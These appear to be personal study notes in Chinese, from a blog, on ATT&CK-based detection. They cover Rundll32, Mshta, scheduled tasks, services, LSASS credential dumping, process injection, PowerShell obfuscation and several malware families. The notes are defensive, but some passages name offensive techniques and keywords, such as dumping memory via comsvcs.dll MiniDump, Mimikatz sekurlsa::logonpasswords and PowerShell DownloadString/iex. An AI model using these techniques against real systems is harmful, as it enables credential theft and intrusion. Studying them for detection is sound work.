攻击者将恶意代码作为DLL执行,避免恶意代码直接出现在进程树中。更为常见的是攻击者利用DLL中的导出函数(如DllRegisterServer勒索病毒通过它来绕过策略)绕过代理和逃避检测。
攻击者利用Rundll32从可以写入的(有权限的)目录(如Temp目录)中的DLL文件加载代码。利用Rundll32加载合法的comsvcs.dll导出MiniDump函数,来转移某些进程的内存。

Cobalt strike利用StarW函数从命令行加载DLL,如发现有代码使用这个函数,证明可能遇到了CS

检测Rundll32主要进行命令行参数监控、进程监控。
检测Rundll32的方法:
①从全局可写文件夹执行:攻击者经常利用Rundll32从全局可写文件夹中加载或者写入DLL,所以我们可以监控跟一下位置有关的情况,如下图

②导出函数
③异常进程:看Rundll32的父进程是否合乎道理,下图进程一般不会产生新的Rundll32

2.Mshta(T1218.005)的分析与检测

Mshta能够通过受信任的程序代理执行攻击要执行的代码。与Rundll32相似,Mshta.exe是windows自带的一个二进制文件,用于执行HTA(Microsoft HTML Application)文件。Mshta能通过网络代理执行嵌入HTML中的windows Script Host代码(VBScript和JScript)。是一个受攻击者欢迎的通过受信任的签名程序代理执行恶意脚本的工具

Mshta执行恶意VBScript和JScript的方式:
·通过在命令行中传递给Mshta的参数进行内联执行;
·通过HTML Application文件或者基于COM执行,以便横向移动;
·通过调用mshtml.dll的RunHTMLApplication导出函数,用Rundll32.exe代替Mshta.exe

书本内容提到,随着2018年Kovter消失,通过命令行执行代码的方式逐渐减少。攻击者转而使用执行存储在文件中的代码这样的方式。攻击者在命令行使用本地磁盘文件路径、URI路径等,指示Mshta执行存储在本地或者远程的文件中的HTA内容。其优点是:在命令行看不到payload

检测Mshta需要收集的数据:
·进程和命令行监控:
·进程元数据:攻击者会重命名Mshta二进制文件。重命名系统程序(隐藏、抹去安全审计痕迹)、内部进程名称等二进制元数据,能有效确定进程真实身份。
·文件监控和网络连接

检测Mshta方法:
①内联脚本执行和协议处理程序:
Mshta允许内敛执行Windows WSH脚本,依据不同的协议处理程序。因此我们可以查找Mshta.exe,以及包含与mshta相关的协议处理程序的命令行的执行情况;
②可疑进程的溯源:
与Rundll类似,由于是windows自带所以很常见,此时我们要考虑异常的进程之间的派生关系。比如word执行mshta是异常的。
③Mshta伪装:
就是重命名。如果文件内部元数据信息中的文件名和Mshta一致但明显和磁盘文件名不一样,要着重注意。书中写道,攻击者还会将Mshta移出System32或者SysWOW64目录中的正常位置,给我们启发,不仅除了排查内部名称与外部名称不一致的,还可以找在合法位置之外出现执行Mshta的情况。
④网络连接和HTA内容:
Mshta执行的文件会存储在磁盘上,以.hta为扩展名。因此,需要检测分析来自URI、UNC路径、NTFS交换数据中远程托管的或者不以.hta结尾的HTA文件的执行。
查找是否有mshta.exe进行外部网络连接;排查Mshta是否通过URI下载并执行HTA内容。
HTA文件通常是MIME类型(多用途互联网邮件扩展类型)的。

三、创建或修改系统进程(T1543)

书中给出了这么一个定义:检测到最多的攻击技术是“创建或修改系统进程”,而且主要是windows服务,攻击者通过这个技术来实现持久化战术。检测到的数量多自然离不开windows服务,系统后台运行的常见二进制文件,在执行时通常不会引发警报,那么攻击者通过创建、修改系统服务进程,既能够瞒天过海,还能够取得较高权限。
攻击者经常使用Windows服务控制管理器配置工具(sc.exe),根据需要修改或者创建服务

检测windows服务要收集的数据:
·命令行监控:比如检测到使用sc.exe手动创建、注册、修改服务
·进程监控:出现随机进程名
·windows事件日志:关注4697、7045、4688
·windows注册表:对注册表的异常修改,如对HKEY_LOCAL_MACHINE\SYSTEM\CurrentSet\Services
进行修改,说明可能存在不受信任的服务
·文件监控:

四、计划任务/作业(T1053)

攻击者可以利用windows计划任务(task scheduler)实现初始访问重复执行恶意代码,在系统启动时或调度任务时执行恶意程序,实现持久化。
很多合法软件需要持久化,因此计划任务是不能够关闭或者阻止的。攻击者往往会混入正常使用,来绕过检测。攻击者常常同时使用计划任务和混淆文件或信息。
关于持久化,也就是计划任务,在学习内网安全的时候接触过,以前是用AT后来AT淘汰后使用schtasks。书中指出,在schtasks常用参数中,靠前的是 /Create、/Change、/Run、/Delete、/Query.
热知识,一天一共86400秒。攻击者很有可能在任何一秒启动计划。

检测计划任务需要搜集的数据:
·windows事件日志:(windows-Task-Scheduler/Operational日志)监控计划的创建、修改、删除、使用。
事件ID106、ID140记录创建、更新计划任务的事件、名称。ID141监控计划任务的删除信息。书中提到还要启用对象访问审核,创建特定的安全访问控制列表(SACL),收集ID4698(计划任务创建)、ID4699(计划任务删除)、ID4700(计划任务启用)、ID4701(计划任务禁用)。

·进程和命令行监控:

检测计划任务的方法:
首先,恶意计划任务常见的二进制文件有:cmd.exe、powershell.exe、regsvr32.exe、rundll32.exe
①Taskname、Taskrun
它们分别为/TN、/TR标记的传递参数。要留意包含TaskName或者/TN值。攻击者经常将而已任务的名字伪装,如使用GUID(如Qbot)混入合法的活动名称。而Taskrun一般会指定了预定时间执行的内容,攻击者曾通过使用LOLBINs或者将磁盘上的恶意软件命名类似合法的系统封程序。任何指向脚本的Taskrun都要注意

②没有schtasks.exe的计划任务:
由于攻击者可以在COM对象的帮助下直接创建或者修改任务,无需调用schtasks.exe和taskschd.msc,我们就要注意在\Windows\System32\Tasks以及\Windows\SysWOW64\Tasks目录中监控 文件创建、修改 事件。

③异常的模块加载:
监控镜像加载,例如\Windows\System32\taskschd.dll,通常不会被Excel或者word等进程加载。收集这些异常信息我认为可以通过黑白名单的方式。

五、OS凭证转储(T1003)

在内网学习的时候OS凭证转储就发挥了横向移动的作用。攻击者常使用的是LSASS内存(T1003.001)。LSASS本地安全验证子系统服务。

使用LSASS内存的原因:
首先它存储在内存中的敏感信息数量庞大,是很容易攻击的目标。攻击者攻击LSASS进程获取里面的凭据,使用Mimikatz等工具,攻击者通过现有beacon能轻松访问LSASS。
攻击者在目标设备上运行受信任的管理工具,如Sysinternals工具(ProDump)。书中提到,如果攻击者在目标主机以特权用户执行任务管理器(taskmgr.exe)的时候可以轻而易举转储任意进程的内存数据。
创建转储文件需要用MiniDumpWriteDump函数,在dbghelp.dll和dbgcore.dll中实现。rundll32.exe可以执行Windows本地DLL文件comsvcs.dll导出的MiniDumpW函数。
能够访问LSASS的工具:
·ProDump
·任务管理器(taskmgr.exe)
·Rundll(comsvcs.dll)
·Pwdump
·Lsassy
·Dumpert
·Minikatz
·Cobalt Strike
·Metasploit
·LaZahne
·Empire
·Pyoykatz

检测LSASS内存要收集的数据:
·进程监控
·文件监控
·网络连接

检测LSASS内存方法:
①基线:分析异常使用LSASS迹象
②注入LSASS进程的可疑代码
③检测MiniDumpW函数的使用情况

六、进程注入(T1055)

攻击者通过进程注入,将如lsass.exe与正常的进程融合,通过他们来代理执行恶意活动。通过进程注入,可以运行进程的内存空间内启动恶意payload,无需将任何恶意代码存储到磁盘中。
常见的攻击者使用的方法:
·远程把DLL注入正在运行的进程
·注入受信任的内置可执行文件(如notepad.exe)建立网络连接,然后注入恶意行为的代码
·从lsass.exe跨进程注入taskhost.exe
·Metaspolit将自身注入svchost.exe
·注入浏览器进程,窥视

检测进程注入的数据:
·进程监控
·API监控
·命令行监控

检测进程注入的方法:
①异常的进程行为:进程做了不属于它职责的事情
②异常的路径和命令行:
rundll32.exe、regasm.exe等没有发现命令行选项,可能表明他们是被注入的目标;
Microsoft进程,如vbc.exe的命令行包括/scomma、/shtml表明可能注入了Nirsoft工具以进行凭证访问;
如果在linux进程的文件描述符指向的文件路径带有memfd标志,表示他是从另一个进程的内存派生出的。
③注入LSASS

七、混淆文件或信息(T1027)

攻击者用该技术来实现隐藏,常见的混淆技术:
①base64编码
②字符串拼接
③转义字符

检测混淆文件或信息所需要搜集的数据:
·windows事件日志
·进程和命令行监控:通常混淆由powershell.exe和cmd.exe命令启动

检测混淆文件或信息的方式:
①BASE64:可以检测powershell.exe和amd.exe进程的情况,看看有没有包含ToBases4String和FromBase64String等参数的命令行。
②其他编码:书中提到最常见的混淆形式是使用-EcodedCommand Powershell参数。监控当执行Powershell.exe出现转换编码命令的情况。
③转义字符:如果系统经常使用大量与混淆相关的字符,要警报。

八、入口工具转移(T1105)

书中提到LOLBINs,找到天融信介绍它的文章。LOLBINs-生活在陆地上的二进制。能被称为LOLBINs的程序符合:
·可以是带有Microsoft签名的二进制文件,可以是Microsoft系统目录中二进制文件。
· 可以是第三方认证签名程序。
· 具有对APT或红队渗透方有用的功能。
·该程序除过正常的功能外,可以做意料之外的行为。(如:执行恶意代码、绕过UAC)

攻击者进行入口工具转移的原因:
渗透测试到了后渗透阶段,攻击者就会进行持久化、留下backdoor,然后横向移动。
攻击者攻陷内部系统会尝试网络连接,以此来下载其他恶意软件、脚本、代码等。这里可以重视,攻击者必须下载文件才能成功执行入口工具转移。攻击者贡献目标后会通过二进制文件LOLBIN执行入口工具转移,通常包括:BITSadmin、Certutil、Curl、Wget、Regsvr32、Mshta

检测入口工具转移需要搜集的数据:
·命令行监控:
·进程监控
·网络连接
·数据包捕获

检测入口工具转移的方式:
①最有效的方式是,检测powershell命令行的关键字和特定模式。比如有无使用:
·downloadstring;
·downloaddata;
·downloadfile;
又或者,命令行出现的参数由bitsadmin.exe、certutilulrcache、split这些字符串,很有可能存在下载恶意文件的行为。
②注意检测可疑的命令模式,如Wget、curl

九、系统服务(T1569)

攻击者可以通过与服务交互或者创建服务来执行恶意代码,并且通过开机自启动实现持久化,攻击者最常使用的技术是“服务执行“(T1569.002)

攻击者利用windows服务控制管理器(services.exe)执行恶意命令或恶意payload。

在操作系统中,只有所有的进程都退出了才能关闭系统,而为了保证业务可靠性,可以通过检测每个程序的守护进程来判断能否关机。所有的windows服务都是作为services.exe的子进程产生的的。

需要检测的数据:
·进程和命令行监控
·DLL加载监控:Sysmon事件的ID7
·设备驱动程序加载监控:windows defender应用程序控制(WDAC)是设备驱动程序监控的有效数据源
·UNIX/Linux系统:系统对守护进程的配置文件变更发出警报。

检测系统服务最有效的方式:查找从服务控制管理器派生的cmd.exe实例。在命令行中查找/c能缩小潜在的交互式会话。

十、伪装(T1036)

通过伪装,躲开检查。经常用到重命名系统程序(T1036.003)

检测伪装的方式:
·已知的进程名称
检测内外名称不一致的情况
·已知的进程路径
内外路径不匹配的情况
·已知的进程哈希值
哈希值出现偏差要警报
·系统进程已知的命令行参数
两个进程用到同样的命令行参数,要警惕

Powershell学习

在这段时间学习的感觉来看,众多攻击技术中powershell使用频次极高,攻击者若能在目标主机运行代码,那么它们就会下载powershell脚本(.ps1)到磁盘中执行,甚至可以直接在内存执行,因此有必要好好看看这部分知识。

首先powershell是windows自带的一个交互式命令行界面和脚本环境,攻击者可以利用powershell实现攻击。而攻击者选用powershell的重要目的在于它可以混淆命令来达到:
·绕过检测
·派生其他进程
·下载并执行代码和二进制文件
·收集信息
·更改系统配置

既然powershell这么广泛使用,那么它的特征将会是很明显的,我们可以先从他的利用方式找到其特征:
·执行命令
·利用编码命令
·混淆执行
·下载其他payload
·启动其他进程

那么检测powershell的方法最有效的就是检查命令行参数,还可以使用反恶意软件扫描接口(AMSI)来检测恶意的powershell,书中介绍了一些检测方式:
①命令加密
攻击者使用powershell的时候往往会使用编码和混淆来扰乱视听,那么我们可以想到检测使用编码和混淆的方法特征,去检查有没有可疑的参数,使用包含“-encodecommand”参数变体的命令行来监控powershell的执行情况。
变体例子:-e,-ec,-encode,-en等

②Base64编码
查找powershell.exe的进程以及包含Base64的相应命令行

③混淆
找到了被编码的数据,可能还被做了手脚混淆了,我们需要找到真正需要的内容。所谓混淆,可能存在压缩,拆解,重新组合等方式绕过检测。我们可以使用正则表达式(比如regex)提高检测准确度,去检测包含“^,+,%,$”等特殊字符的powershell命令

④可疑的cmdlet
从混淆中解开明文内容后我们开始分析。我们可以检测各种可疑的会进行恶意活动的cmdlet(powershell环境中的轻量级命令)、方法和进程参数,比如:invoke-expression(或者他们的变体比如iex,.invoke)、DownloadString、DownloadFile方法,或者如-nop、-noni这样比较特殊的参数。

⑤消除误报
很多时候合法用户也会使用编码等命令,所以会出现误报,这就需要我们懂得其中逻辑并且懂的判断。

再继续了解一下powershell吧
常见攻击工具:
①PowerSplit②Nishang③Empire④Powercat

在之前的内网安全学习曾经提到powershell使用,可以回过头看看。

ATT&CK(四)–一些攻击组织和恶意软件的分析检测

学习这部分内容,感觉一下子拉回到了2018到2019的那段时间,宏病毒再各大学校肆虐,学校机房上课的老师忙着杀毒恢复数据。但培训还要用到宏,顶着风险课还是照常教我们用word的宏。注意到在很多用于勒索的恶意活动,都以宏作为载体,编写恶意代码,在编写具有诱惑力的钓鱼文件,促使很多人中招。所以还是说不管技术多么先进,人的意识不够高警惕性不够强的话极有可能正中攻击者下怀。

通过分析一些攻击组织或者恶意软件的特征,帮助我们日后排查安全问题的时候产生思路,或者有目的的对不安全的系统进行加固。下面根据书中介绍简单做下笔记:

1.TA551(一个攻击组织)攻击行为的分析与检测
该组织十分喜欢网络钓鱼来投递payload,投放的payload包括IcedID和Valak。它们常利用宏加载病毒的word文档压缩成zip包,并对其进行加密,放到钓鱼邮件中诱使受害者打开,之后会从其他地方下载后续使用的恶意软件。
禁用宏是很好的方法,但是为了高效办公或者其他原因,很多组织机构和用户是不禁用宏的。为了安全,它们最好启用纵深防御。恶意代码下载的DLL文件可能会使用“.theme”之类的扩展名来混淆,word是很多个文件压缩而成的,”.theme”是文档使用的主题一类的代码。
尽管该组织经常想要绕过防御,但还是会泄露出一些特征,比如恶意word执行了regsvr32.exe是极其不寻常的事情,就可表明存在恶意宏。
此外我们还可以检测二进制文件的哈希值或者内部元数据,若预期的文件名和观察到的文件名不一致,就要检查,发现与典型行为异常的事情就可能出现安全问题。类似的wmiprvse.exe作为mshta.exe的父进程出现是极其不寻常的。

2.cobalt strike的分析与检测
cs作为主要的渗透测试框架工具,被广泛使用,如果能检测到cs的使用痕迹,就要做出对应的措施。
cs可以生成和执行DLL、EXE、shellcode形式的payload,也叫cs的beacon。
·cs beacon通常利用进程注入绕过防御,在rundll.32.exe等windows二进制文件的内存空间执行恶意代码。
·cs beacon也可作为windows服务执行,利用poweshell代码或二进制文件,实现PsExec的功能。
·cs 还可以用命名管道模拟NT AUTHORITY/SYSTEM执行代码,实现对主机的无限制访问。
那么怎么检测cs活动呢?
·检测beacon,比如搜索powershell.exe进程,其命令行含有常见的关键词个BASE64编码变体,包括IO.MemoryStream、FromBaselineString、New-Object
·识别命令处理程序CMD.EXE的实例来检测通过命名管道模拟实现权限提升的行为,找到关键字为echo、pipe。

3.银行木马Qbot
Qbot是针对银行的木马,通常作为勒索软件的传递代理,传播包括ProLock和Egregor勒索软件。
他主要窃取用户数据和银行凭证,防御思路是检查正常的esentutl命令行,如果看到引用Windows\webcache是很不正常的事情,那么我们可以编写程序查找windows\webcache中的esentutl.exe进程。

4.银行木马IceID
也叫Bokbot,它会创建本地文件来拦截失陷主机上所有浏览器的流量,窃取敏感信息。IceID会通过下载二进制文件到用户的本地文件夹来实现持久化。它还包含VNC功能,用于远程访问目标机器。
我们可以:
·检测使用msiexec.exe执行随机文件名的.msi文件;
·检测用户漫游文件夹中执行计划任务,比如寻找启动文件在%Users%文件夹中的计划任务,排除IceID持久化的风险

5.凭证转储工具Mimikatz(内网常见)
主要用来提取密码、横向移动。
之前的攻击者会把Mimikatz二进制文件保存在C:\PerfLogs\目录中,该目录值得重视。
该工具有个常见的模块sekurlsa::logonpasswords,用于提取最近在主机上登陆的账号和密码,是可以被检测的明显特征。

6.恶意软件shlayer
这个木马与恶意广告相关,他会伪装成Flah,利用AWS部署基础设施。
我们可以检测:通过curl命令下载payload

7.银行木马Dridex
通常通过附带恶意excel的文档的电子邮件传播,通常跟Ursnif、Emotet、TrickBot、DoppelPaymer等共用。
Dridex最常用技术是对各种合法的windows可执行文件进行DLL搜索顺序劫持。
我们可以检测:
·创建包含系统目录的和计划任务
Dridex通过Windows\System32\、Window\SysWOW64、winnt\System32和Winnt\SysWOW64等系统目录创建计划任务,实现持久化。我们查找命令行中是否包含“/create”标志和系统路径的schtask.exe,用于发现dridex残留
·检测用Excel生成的regsvr32.exe。我们可以查找是否有excel.exe生成子进程regsvr32.exe.

8.银行木马Emotet
它主要作为其他恶意软件的下载器或者drooper。它窃取用户数据和银行凭证,并把自己部署到攻击目标上。
我们可以检测:
·poweshell字符串混淆
查找是否有powershell进程执行使用格式运算符“-f”连接字符串的命令。

9.银行木马TrickBot
它能生成Ryuk和Conti。
它窃取敏感数据和凭证,也可以传播cs等后续payload,分发上述俩恶意软件。
我们可以检测:
·svchost.exe端口连接异常。比如svchost使用447、449端口进行外部链接是不正常的
·检测%appdata%d的计划任务执行,可以查找父进程是taskeng.exe或者svchost.exe且进程文件在APPdata/Roaming中的可疑程序

10.蠕虫病毒Gamarue
它是一个恶意软件家族,通常是僵尸网络的一个构成部分。用于传播其他恶意程序以及窃取信息。用户点击了伪装成U盘上合法文件的恶意LNK文件,这会导致rundll32.exe开始执行,之后加载恶意DLL文件。
我们可以检测:
·可以查找是否存在没有命令行的msiexec.exe进行外部网络连接
·检测域名

通过学习检测这些攻击团队或者恶意程序的思路,有助于我形成更大的大局意识,处理安全事件要思路广泛,一切挂钩的事件都有可能潜藏着攻击者精心布置的文件,我们要能识别出它们,根除它们,保证信息安全。

ACC&CK(三)–数据源

框架能否发挥应有的作用我想最关键的地方就在于它的“数据源”

框架建立在从数据源上搜集信息,对信息进行分析处理,得到了上下文联系,由此对于入侵检测入侵防御的精确度提高有所帮助。也就是说我们继续改进对于数据源的利用,会让我们的工作更加高效。

书中有三个方法提高数据源的利用效果:

①定制数据源定义
②标准化命名方法
③确保平台一致性

·定制数据源定义
所谓数据源,我想就是获取我们想要收集数据的地方,比如某个日志,比如某个配置文件。定义好数据源让我们清晰的区分不同的数据源,以及理清楚数据之间的关系

·标准化命名方法
其重要性在于正确区分数据源,精确搜集数据

·确保平台一致性
因为某些数据源在某些平台是没有的,所以确定好数据收集平台,能提高效率。

我们明白了要改进利用数据源的方法,那么具体实现应该是怎么样的呢,换句话说我们该如何正确定义、描述数据源?书中给出了如何描述数据源的结构和方法的答案。

①利用数据建模
②通过数据元素定义数据源
③整合数据建模和攻击者建模
④将数据源作为对象集成到ATT&CK框架中
⑤扩展ATT&CK数据源对象
⑥使用数据组件扩展数据源

·利用数据建模
三个概念:
数据对象/元素:描述数据源的数据元素
数据对象属性:数据的一些属性信息,比如说名称,地址等
关系:数据之间的关系,比如一个进程可以创建另外一个进程

·通过数据元素定义数据源
也就是给数据源起名字的方法。可以使用数据元素来命名与攻击行动有关的数据源
例如:
以windows注册表为数据源,他的数据元素中包括进程、注册表项、用户,其中注册表项是用来识别主要数据对象的,可以用来作为数据源名称。
再例如:
对提供某项服务的数据元素进行分组,根据他们共有功能取名称。

·整合数据建模和攻击者建模
因为框架针对的是已知的攻击方式,所以要确定必须收集某些特定的事件,覆盖已知的特定的攻击

知道了要怎么定义、描述数据源后,应该要着手实装这些方法。书中以改进进程监控为示范,解释如何改进:

1.改进进程监控

①确定数据源
可以从内置事件提供程序(如microsoft-windows-security-auditing)和开源第三方工具(sysmon)来采集跟进程相关的信息。在这一步骤目的是找到攻击行动的主要数据元素,比如从安全日志中找到跟进程相关的,同时给出说明,也就是描述进程做了哪些事情,发生了哪些事情。

②确定数据元素
也就是列出跟相关的数据,比如用户、进程、命令、主机、ip、端口都可以跟进程产生一定的联系。书中提到,数据源的命名由核心数据元素表示,比方说“进程监控”,由于监控是围绕进程产生的行为,我们应该选择“进程”作为数据源名称,从而删除多余的无关措辞。

③确定数据元素之间的关系
根据采集到的数据来描述跟“进程”相关的安全事件案中的关系

④定义数据组件
组件其实就是根据数据元素的功能或者特性进行分类,形成对数据元素之间关系的更高级的描述,也就是更细致的描述。

⑤构建ATT&CK数据源对象

书中的描述 “进程”这一数据源的方法

接下来我们要跟技术/子技术联系在一起,如下图,书中给出了应用的例子: